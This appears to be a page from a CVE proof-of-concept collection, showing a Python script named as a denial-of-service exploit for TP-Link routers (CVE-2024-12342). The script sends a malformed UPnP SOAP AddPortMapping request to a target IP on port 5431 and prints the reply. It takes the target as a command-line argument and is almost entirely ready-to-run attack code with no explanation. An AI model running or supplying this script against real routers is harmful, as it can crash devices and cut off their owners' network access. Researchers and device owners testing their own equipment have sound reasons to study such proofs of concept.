4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / TPLink_DOS_CVE-2024-12342.py PY
import requests
import argparse

def send_soap_request(ip, port):
    url = f"http://{ip}:{port}/control/WANIPConnection"

    headers = {
        "Content-Type": "text/xml",
        "SOAPAction": "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
    }

    data = '''<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:AddPortMapping>
      <NewPortMappingDescription>hello</NewPortMappingDescription>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>'''

    try:
        response = requests.post(url, headers=headers, data=data, timeout=10)
        print(f"Status Code: {response.status_code}")
        print("Response Body:")
        print(response.text)
    except requests.RequestException as e:
        print(f"[!] Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="Send SOAP AddPortMapping request to target IP")
    parser.add_argument("ip", help="Target IP address (e.g., 10.21.42.33)")
    parser.add_argument("-p", "--port", type=int, default=5431, help="Target port (default: 5431)")
    args = parser.parse_args()

    send_soap_request(args.ip, args.port)

if __name__ == "__main__":
    main()